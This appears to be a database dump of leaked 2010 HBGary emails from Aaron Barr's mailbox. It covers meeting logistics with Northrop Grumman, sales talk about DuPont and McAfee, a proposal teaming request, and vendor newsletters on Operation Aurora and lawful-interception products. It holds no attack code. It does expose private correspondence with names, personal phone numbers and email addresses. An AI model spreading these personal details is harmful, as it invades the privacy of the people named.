McAfee\r\n\r\n&nbsp;\r\n\r\nTele:\r\n+1 410.695.4211 | Email: jason_winters@mcafee.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe information contained in this email message may be privileged,\r\nconfidential and protected from disclosure. If you are not the intended\r\nrecipient, any review, dissemination, distribution or copying is strictly\r\nprohibited. If you have received this email message in error, please notify the\r\nsender by reply email and delete the message and any attachments.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10628,'aaron_hbgary_com/10628.html'),(2405,'2010-02-10','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297001109.M453512P3547Q2405.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>','Re: HBGary/NGES meeting','\r\n\r\n\r\n\r\n\r\nRe: HBGary/NGES meeting\r\n\r\n\r\n\r\n\r\nShe is so good...\r\n\r\n----- Original Message -----\r\nFrom: Robinson, Cassie\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSent: Wed Feb 10 10:46:58 2010\r\nSubject: RE: HBGary/NGES meeting\r\n\r\nmeeting is canceled for today; will be rescheduled for Friday.\r\n\r\nthanks all\r\n\r\ncsr\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting\r\n\r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow,&nbsp; Feb 10.&nbsp; If the meeting is canceled due to weather, the meeting will move to:&nbsp; Friday, February 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification will be sent to revise the time/date.&nbsp;\r\n\r\n\r\n\r\nAt this time, the meeting is a go for tomorrow.&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\nThanks all.&nbsp;\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; | Suite 2300&nbsp; | Arlington, VA 22209\r\n\r\n\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13118,'aaron_hbgary_com/13118.html'),(2406,'2010-02-10','ted@hbgary.com','/aaron@hbgary.com/new/1297001109.M653847P3547Q2406.eml','aaron@hbgary.com','Dupont','\r\n\r\nI\'ve shared Dupont\r\nMessage from ted@hbgary.com:\r\nI merged versions 4 &amp; 5 into this document so we can collaborate in realtime and ensure we don&#39;t run into version control problems.\r\nClick to open:\r\nDupont\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',94,'aaron_hbgary_com/94.html'),(2407,'2010-02-10','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297001109.M885813P3547Q2407.eml','\"Aaron Barr\" <aaron@hbgary.com>','Request to Join The Intelligence Community Group','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Request to Join The Intelligence Community Group\r\n      \r\n      \r\n        \r\n            Thank you for your interest in joining The Intelligence Community (IC).  This group is specifically designed for active or retired Professionals with Government or Military Intelligence backgrounds and those whose occupation supports the Government or Military Intelligence community.  IF YOUR PROFILE IS NOT CLCEAR as to your Government or Military Itelligence background, please respond with a brief description of your experience supporting the Government or Military Intelligence community.\r\n          \r\n      \r\n    \r\n  \r\n	\r\n	  \r\n	    Go to My Groups to reply &#187;\r\n    \r\n	\r\n	\r\n	\r\n	LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n	\r\n\r\n\r\n\r\n',3344,'aaron_hbgary_com/3344.html'),(2408,'2010-02-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001110.M102906P3547Q2408.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,','Re: Contact Info - more to come','Rich,\r\n \r\nHmmmm.  McAfee and Verdaysis competing on DDNA?  \r\n \r\nI don&#39;t want to piss off Verdasys, but DuPont initiated this dialogue about ePO, not us.\r\n \r\nIt will be interesting to see if McAfee rep comes at us requesting a cut on the deal.\r\n \r\nBob\r\nOn Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFYI - Mcafee guy below just called and said that Dupont was interested in hearing about the DDNA integration with ePO.   They are going on site to Dupont next week as they are presenting the future of Mcafee epo etc.  Dupont specifically asked them to have someone on standby to discuss the integration and partnership.  I’m going to get this guy an evaluation version and set him up with Phil to go through the product on Monday.  \r\n\r\n \r\nHe will be in Delaware on Wednesday presenting to Dupont.  I said that we have spoken with Dupont and they had tested DDNA already.  I didn’t say anything else to them.\r\n\r\n \r\nRC\r\n \r\n\r\n\r\nFrom: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com] \r\nSent: Wednesday, February 10, 2010 12:05 PMTo: rich@hbgary.comSubject: Contact Info - more to come\r\n \r\nThanks\r\n \r\nJason M. Winters\r\nEnterprise Systems Engineer | McAfee\r\n \r\nTele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n \r\n\r\nThe information contained in this email message may be privileged, confidential and protected from disclosure. If you are not the intended recipient, any review, dissemination, distribution or copying is strictly prohibited. If you have received this email message in error, please notify the sender by reply email and delete the message and any attachments.\r\n\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',11486,'aaron_hbgary_com/11486.html'),(2409,'2010-02-10','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001110.M324088P3547Q2409.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,','Re: Contact Info - more to come','If they register the deal they get 30% so you need to make sure they understand this is already being worked\r\nOn Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nRich,\r\n \r\nHmmmm.  McAfee and Verdaysis competing on DDNA?  \r\n \r\nI don&#39;t want to piss off Verdasys, but DuPont initiated this dialogue about ePO, not us.\r\n \r\nIt will be interesting to see if McAfee rep comes at us requesting a cut on the deal.\r\n \r\nBob\r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFYI - Mcafee guy below just called and said that Dupont was interested in hearing about the DDNA integration with ePO.   They are going on site to Dupont next week as they are presenting the future of Mcafee epo etc.  Dupont specifically asked them to have someone on standby to discuss the integration and partnership.  I’m going to get this guy an evaluation version and set him up with Phil to go through the product on Monday.  \r\n\r\n \r\nHe will be in Delaware on Wednesday presenting to Dupont.  I said that we have spoken with Dupont and they had tested DDNA already.  I didn’t say anything else to them.\r\n\r\n \r\nRC\r\n \r\n\r\n\r\nFrom: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com] \r\nSent: Wednesday, February 10, 2010 12:05 PMTo: rich@hbgary.comSubject: Contact Info - more to come\r\n \r\nThanks\r\n \r\nJason M. Winters\r\nEnterprise Systems Engineer | McAfee\r\n \r\nTele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n \r\n\r\nThe information contained in this email message may be privileged, confidential and protected from disclosure. If you are not the intended recipient, any review, dissemination, distribution or copying is strictly prohibited. If you have received this email message in error, please notify the sender by reply email and delete the message and any attachments.\r\n\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Penny C. LeavyHBGary, Inc.\r\n',11443,'aaron_hbgary_com/11443.html'),(2410,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001110.M540637P3547Q2410.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Contact Info - more to come','Penny,My plan is to shadow at some level Rich/Phil on the execution of the Dupont IR, learn, document. &nbsp;In talking with both RIch and Phil today most of these is non-standardized, individual best practices. &nbsp;To maximize effectiveness and costs/margin we will want to proceduralize this as much as possible, and utilize the strength of team mates like PwC and Foundstone, especially for the bodies and forensics, chain of custody type work.Is the plan to have Rich do pretty much all of it with little help from Phil? &nbsp;I would really like to benefit from watching them both at some level, is that possible?AaronOn Feb 10, 2010, at 1:19 PM, Penny Leavy wrote:If they register the deal they get 30% so you need to make sure they understand this is already being worked\r\nOn Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nRich,\r\n&nbsp;\r\nHmmmm.&nbsp; McAfee and Verdaysis competing on DDNA?&nbsp; \r\n&nbsp;\r\nI don\'t want to piss off Verdasys, but DuPont initiated this dialogue about ePO, not us.\r\n&nbsp;\r\nIt will be interesting to see if McAfee rep comes at us requesting a cut on the deal.\r\n&nbsp;\r\nBob\r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\nFYI - Mcafee guy below just called and said that Dupont was interested in hearing about the DDNA integration with ePO.&nbsp;&nbsp; They are going on site to Dupont next week as they are presenting the future of Mcafee epo etc.&nbsp; Dupont specifically asked them to have someone on standby to discuss the integration and partnership.&nbsp; I’m going to get this guy an evaluation version and set him up with Phil to go through the product on Monday. &nbsp;&nbsp;He will be in Delaware on Wednesday presenting to Dupont.&nbsp; I said that we have spoken with Dupont and they had tested DDNA already.&nbsp; I didn’t say anything else to them.&nbsp;RC&nbsp;\r\n\r\nFrom: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com] \r\nSent: Wednesday, February 10, 2010 12:05 PMTo: rich@hbgary.comSubject: Contact Info - more to come&nbsp;Thanks&nbsp;Jason M. WintersEnterprise Systems Engineer | McAfee&nbsp;Tele: +1 410.695.4211 | Email: jason_winters@mcafee.com&nbsp;&lt;image001.png&gt;The information contained in this email message may be privileged, confidential and protected from disclosure. If you are not the intended recipient, any review, dissemination, distribution or copying is strictly prohibited. If you have received this email message in error, please notify the sender by reply email and delete the message and any attachments.&nbsp;-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16138,'aaron_hbgary_com/16138.html'),(2411,'2010-02-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001110.M795713P3547Q2411.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,,,','Re: Contact Info - more to come','Penny,\r\n \r\nHBGary has been in dialogue with DuPont for several months.  I thought we would want McAfee to bring us into NEW deals.\r\n \r\nBob\r\nOn Wed, Feb 10, 2010 at 1:19 PM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:\r\nIf they register the deal they get 30% so you need to make sure they understand this is already being worked \r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nRich,\r\n \r\nHmmmm.  McAfee and Verdaysis competing on DDNA?  \r\n \r\nI don&#39;t want to piss off Verdasys, but DuPont initiated this dialogue about ePO, not us.\r\n \r\nIt will be interesting to see if McAfee rep comes at us requesting a cut on the deal.\r\n \r\nBob\r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFYI - Mcafee guy below just called and said that Dupont was interested in hearing about the DDNA integration with ePO.   They are going on site to Dupont next week as they are presenting the future of Mcafee epo etc.  Dupont specifically asked them to have someone on standby to discuss the integration and partnership.  I’m going to get this guy an evaluation version and set him up with Phil to go through the product on Monday.  \r\n\r\n \r\nHe will be in Delaware on Wednesday presenting to Dupont.  I said that we have spoken with Dupont and they had tested DDNA already.  I didn’t say anything else to them.\r\n\r\n \r\nRC\r\n \r\n\r\n\r\nFrom: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com] \r\nSent: Wednesday, February 10, 2010 12:05 PMTo: rich@hbgary.comSubject: Contact Info - more to come\r\n \r\nThanks\r\n \r\nJason M. Winters\r\nEnterprise Systems Engineer | McAfee\r\n \r\nTele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n \r\n\r\nThe information contained in this email message may be privileged, confidential and protected from disclosure. If you are not the intended recipient, any review, dissemination, distribution or copying is strictly prohibited. If you have received this email message in error, please notify the sender by reply email and delete the message and any attachments.\r\n\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Penny C. LeavyHBGary, Inc.-- Bob SlapnikVice PresidentHBGary, Inc.\r\n301-652-8885 x104bob@hbgary.com\r\n',11118,'aaron_hbgary_com/11118.html'),(2412,'2010-02-10','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001112.M566765P3547Q2412.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: QosmoNote - Special ISS World MEA Edition - February 2010','aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click hereCyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probesMeet Qosmos atBook a meetingBook a meetingQosmos WebcastsNetwork Intelligence Technology BriefCustomersUtimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n',1728,'aaron_hbgary_com/1728.html'),(2413,'2010-02-10','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001112.M982805P3547Q2413.eml','\"Aaron Barr\" <aaron@hbgary.com>','Webcast: Gartner Keynote - Google was victimized by hackers. Will you be next?','aaron,here\'s a vendor who has teamed up with the Gartner analyst to talk about it.....John\r\n\r\nFrom: Jeremy Carlson\r\n[mailto:webcast@zscaler.com] \r\nSent: Tuesday, February 09, 2010\r\n9:07 AM\r\nTo: John\r\nSubject: Webcast: Gartner Keynote\r\n- Google was victimized by hackers. Will you be next?\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    Dear John,\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    Join us for this free educational Webcast; listen to\r\n    the keynote from Peter Firstbrook, Research Director of Gartner\r\n    and watch a step-by-step demo of how Chinese hackers compromised brand name\r\n    US high-tech companies.\r\n    \r\n   \r\n   \r\n    Live Webcast:\r\n    Keynote&nbsp;by&nbsp;Peter&nbsp; Firstbrook,&nbsp; Research Director\r\n    at&nbsp;Gartner\r\n    \r\n   \r\n   \r\n    Google was victimized by hackers.&nbsp;Will\r\n    you be next?\r\n    \r\n   \r\n   \r\n    Keynote address–Peter\r\n    Firstbrook, Gartner\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; Anatomy of a malicious web attack by\r\n    Chinese hackers\r\n    •&nbsp; Can Cloud Security solutions protect against these new\r\n    threats?\r\n    \r\n   \r\n   \r\n    Demo–Replaying the Attack\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; Step-by-step demo of how these attacks\r\n    take place\r\n    •&nbsp; Why the big names of high-tech were expose\r\n    \r\n   \r\n   \r\n    Real–life Customer Case Study\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; How our cloud security service was\r\n    selected\r\n    •&nbsp; Benefits and ROI\r\n    \r\n   \r\n   \r\n    To get more information or register Click here\r\n    \r\n   \r\n   \r\n    Please feel free to pass this invitation to your\r\n    cohorts. If you have any questions please send us an e-mail at:&nbsp;webcast@zscaler.com\r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    Peter\r\n    Firstbrook\r\n    \r\n   \r\n   \r\n    Featured Speaker\r\n    Gartner\r\n    \r\n   \r\n   \r\n    Date:\r\n    Feb 25, 2010\r\n    \r\n   \r\n   \r\n    Three\r\n    convenient times for\r\n    \r\n   \r\n   \r\n    • USA,&nbsp;Canada,&nbsp;Latin&nbsp;America\r\n    \r\n    • Europe&nbsp;&amp;&nbsp;Middle&nbsp;East\r\n    • Asia&nbsp;Pacific \r\n    \r\n   \r\n   \r\n    Click here to Register\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  Regards,\r\n  \r\n \r\n \r\n  Jeremy Carlson\r\n  Phone: +1-408-533-0288\r\n  www.zscaler.com \r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\nZscaler,\r\nInc\r\n392 Potrero Avenue, \r\nSunnyvale, CA 94085, USA\r\n&nbsp;Note:\r\nYour e-mail is in our mailing list as j, if you wish to be\r\nremoved from our mailing list please use the link below to unsubscribe from any\r\nfuture mailings. We will respect all unsubscribe requests\r\nhttp://cp20.com/Tracking/t.fo?9YPr--KCV-7IVT78 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn M. FarrellVice PresidentEndgame Systems1940 Duke Street Suite 200Alexandria, VA 22314(703) 622-9025\r\n\r\n',9245,'aaron_hbgary_com/9245.html'),(2414,'2010-02-10','\"Kevin L Keathley\" <cybernigma@gmail.com>','/aaron@hbgary.com/new/1297001113.M293956P3547Q2414.eml','aaron@hbgary.com','MacB','Hello Aaron,\r\n  My name is Kevin L Keathley, and I work for MacB down here in San\r\nAntonio.  Currently I\'m working on a rewrite of the 2.2.1 section of the\r\nGUARDIAN prop that we\'re teaming on.  I was giving your contact\r\ninformation by Dan Willis.  I\'m looking for some information from you\r\nfolks concerning your analysis/reverse engineering process and unique\r\ntools that I can integrate into our writeup.\r\n  I\'m particularly interested in specific tools that you use in your\r\nprocess that we may be able to integrate into the overall process.  What\r\nwe\'re trying to do is show the client that we bring in something special\r\nfrom each of the companies that they may not already be familiar with\r\nfrom past experience.\r\n  I\'ve worked with the client for several years as a developer as well\r\nas a reverse engineer, and I\'m very familiar with their own tools and\r\nprocesses.  I\'ll be able to take pieces from what you folks provide that\r\nthey\'re not familiar with along with pieces from some of our other MacB\r\nteams and merge them together to show the client why our partnership can\r\nbring more to the table than our competitors.\r\n  If you have any sort of overview of your process that can be shared\r\nwith us at MacB for these purposes then that would be really helpful as\r\nwell, whether it\'s a chart or a brief description.  I\'m emphasizing\r\nanalysis and reverse engineering of malicious logic through this writeup.\r\n\r\nMy cell is 210-725-5254 and my e-mail of course is cybernigma@gmail.com.\r\n\r\nI wanted to fire off an e-mail first since I did not know what your\r\nschedule was like currently.  Feel free to talk back to me via either\r\nmethod.\r\n\r\nI\'ve attached my public key should you desire to use it for anything.\r\n\r\nThank you,\r\n  -=[Kevin]=-\r\n',3640,'aaron_hbgary_com/3640.html'),(2415,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001113.M593471P3547Q2415.eml','\"John Farrell\" <john@endgames.us>','Re: QosmoNote - Special ISS World MEA Edition - February 2010','Interesting. &nbsp;There is a guy from Qosmos that has been wanting to get togethe with me. &nbsp;We are going to get together Monday or Tuesday. &nbsp;I\'ll let you know how that goes.AaronOn Feb 10, 2010, at 1:48 PM, John Farrell wrote:aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click here&lt;logo.jpg&gt;&lt;edito.jpg&gt;&lt;apps.jpg&gt;&lt;qosmostv.jpg&gt;&lt;try.jpg&gt;&lt;contact.jpg&gt;Cyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probes&lt;tranche.jpg&gt;Meet Qosmos at&lt;iss_mea.jpg&gt;Book a meeting&lt;cybersec_tallinn.jpg&gt;Book a meetingQosmos Webcasts&lt;qosmos_webcast.jpg&gt;Network Intelligence Technology BriefCustomers&lt;Utimaco_Safeware_logo.jpg&gt;Utimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?&lt;spacer.jpg&gt;Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6009,'aaron_hbgary_com/6009.html'),(2416,'2010-02-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001113.M815839P3547Q2416.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','HBGary Aurora report cited in article','http://www.net-security.org/malware_news.php?id=1223\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1042,'aaron_hbgary_com/1042.html'),(2417,'2010-02-10','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001114.M143388P3547Q2417.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: QosmoNote - Special ISS World MEA Edition - February 2010','has HB Gary released their Aurora report yet? i\'d like to see the final version.On Feb 10, 2010, at 1:55 PM, Aaron Barr wrote:Interesting. &nbsp;There is a guy from Qosmos that has been wanting to get togethe with me. &nbsp;We are going to get together Monday or Tuesday. &nbsp;I\'ll let you know how that goes.AaronOn Feb 10, 2010, at 1:48 PM, John Farrell wrote:aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click here&lt;logo.jpg&gt;&lt;edito.jpg&gt;&lt;apps.jpg&gt;&lt;qosmostv.jpg&gt;&lt;try.jpg&gt;&lt;contact.jpg&gt;Cyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. 